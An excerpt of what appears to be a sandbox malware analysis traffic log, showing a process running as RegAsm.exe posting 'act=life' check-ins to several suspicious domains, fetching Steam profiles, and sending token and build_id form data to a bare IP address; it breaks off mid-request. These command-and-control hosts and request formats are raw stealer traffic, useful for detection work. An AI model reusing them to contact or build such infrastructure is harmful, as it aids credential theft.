2024-10-02 15:17:15 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 Data Ascii: ------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------CFCFCAAAAFBAKEBFBAKKCont
2024-10-02 15:17:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	65274	104.21.21.3	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:16 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mysterisop.site
2024-10-02 15:17:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:17 UTC	774	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8mtajkn1hc7q14gvk1bl7rersp; expires=Sun, 26 Jan 2025 09:03:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IYlvWghsZc3hhdPL0ikNLt3oiA7BvNm8mDCLaoWy5ewSy685%2BAuQypKYOuxoEpCdk%2F021O%2BhZIE7U3TXyBKmIwtZnJuap9onsGh1Iq%2F7%2FSuFf63tnjIhITkHGhVuIqBnD%2FI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a88b38057c8d-EWR
2024-10-02 15:17:17 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	65276	172.67.177.186	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:17 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: absorptioniw.site
2024-10-02 15:17:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:18 UTC	772	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q4srmmktlli27ekrng2ukjudq6; expires=Sun, 26 Jan 2025 09:03:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DYLXjbzqHjPndzmgXBzUdUs0nN6JrisfrJq0YURzZaytY5wYI%2BBUKa3uPORrgdtQw04aTYYgkVOTsW48kZonh3tZj7reRtw1C8LqHUJ1P6oTOtRDQqDqcwJrdvX5Kx%2FQBLgL4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a891686d437f-EWR
2024-10-02 15:17:18 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	65277	104.102.49.254	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:20 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-02 15:17:20 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 15:17:20 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=0b43a6b995a39cf00f833036; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 15:17:20 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 15:17:20 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-02 15:17:20 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-02 15:17:20 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	65278	104.21.16.12	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:21 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gravvitywio.store
2024-10-02 15:17:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:22 UTC	778	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u74bg6pamdab48lcj0u9e01gnt; expires=Sun, 26 Jan 2025 09:04:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MjXL5lBenhjTPqLSlS%2F3otAtPmYeeNPCJ7MppXQHN%2BF4v9G%2Bn%2BpSYxt6yWc4f6Hz6JjBlQBk6JV6PYFoKbf2XP%2FtqJaw5Kjm8ZwSV7vhWvj3QSx3UQz4I5dgmBDwBHkagzzIYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a8a9b9ba42e9-EWR
2024-10-02 15:17:22 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	65283	104.102.49.254	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:31 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:32 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 15:17:32 GMT Content-Length: 34879 Connection: close Set-Cookie: sessionid=b3e30a3362ed5fcd827c8b9c; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 15:17:32 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 15:17:32 UTC	16384	IN	Data Raw: 52 54 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 Data Ascii: RT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4
2024-10-02 15:17:32 UTC	3768	IN	Data Raw: 75 6d 6d 61 72 79 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 Data Ascii: ummary"></div><div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><scr
2024-10-02 15:17:32 UTC	213	IN	Data Raw: 63 6b 3d 22 52 65 73 70 6f 6e 73 69 76 65 5f 52 65 71 75 65 73 74 4d 6f 62 69 6c 65 56 69 65 77 28 29 22 3e 0d 0a 09 09 09 09 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ck="Responsive_RequestMobileView()"><span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	65284	104.21.77.132	443	4208	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:32 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: questionsmw.store
2024-10-02 15:17:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:32 UTC	780	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rjrpklffit5oeugu4r8cr5qedt; expires=Sun, 26 Jan 2025 09:04:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x%2BhJ6OEq62%2FM58ALn%2F4huK%2BblI8FLpPBslXETtbUpWuk0q6zrH2UhH8qWs5rG47aLh%2FYhQ8CPrfZ2YPc6MkTjbn4IEWPYSqZB4Ot3ZSsCg3WVyybkPHKjrCwobtZjF0g%2BiTkEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a8ee4f24de93-EWR
2024-10-02 15:17:32 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	65286	49.12.197.9	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:33 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	65287	188.114.96.3	443	4208	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:33 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: soldiefieop.site
2024-10-02 15:17:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:33 UTC	764	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ce1117cjcn9pi38arv6ejpbgk; expires=Sun, 26 Jan 2025 09:04:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7uU7YrtXG3gI38TYLI3PwFSBHE0nQFtUwUPJPB0lEE5pWavDmqxNwxAJr4gFaK%2B4LPnMJpW1HSqlriU0Nt5iiA%2BGuPymMsrWWlEmyeS6yfK5jJIAlK3tq5xKMtWQqy8fimzn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a8f418151986-EWR
2024-10-02 15:17:33 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	65288	104.21.56.150	443	4208	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:34 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: abnomalrkmu.site
2024-10-02 15:17:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:34 UTC	762	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n7cl712vusei4dp8dkl7vk0s06; expires=Sun, 26 Jan 2025 09:04:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jmTqgzHQPFW9rzV7xYnUdS1R6S%2FgigM1L1qRVb8JzxBIJIuoTVF7crOWdpISvHOgOtxlRHO3Y6qcWcVhKD8JNnD4DEPoE9cstXbT4ebbNInNTKTOXVVr9Rg4xxYCaWm1DsJf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a8faadde9e02-EWR
2024-10-02 15:17:34 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	65289	49.12.197.9	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:34 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
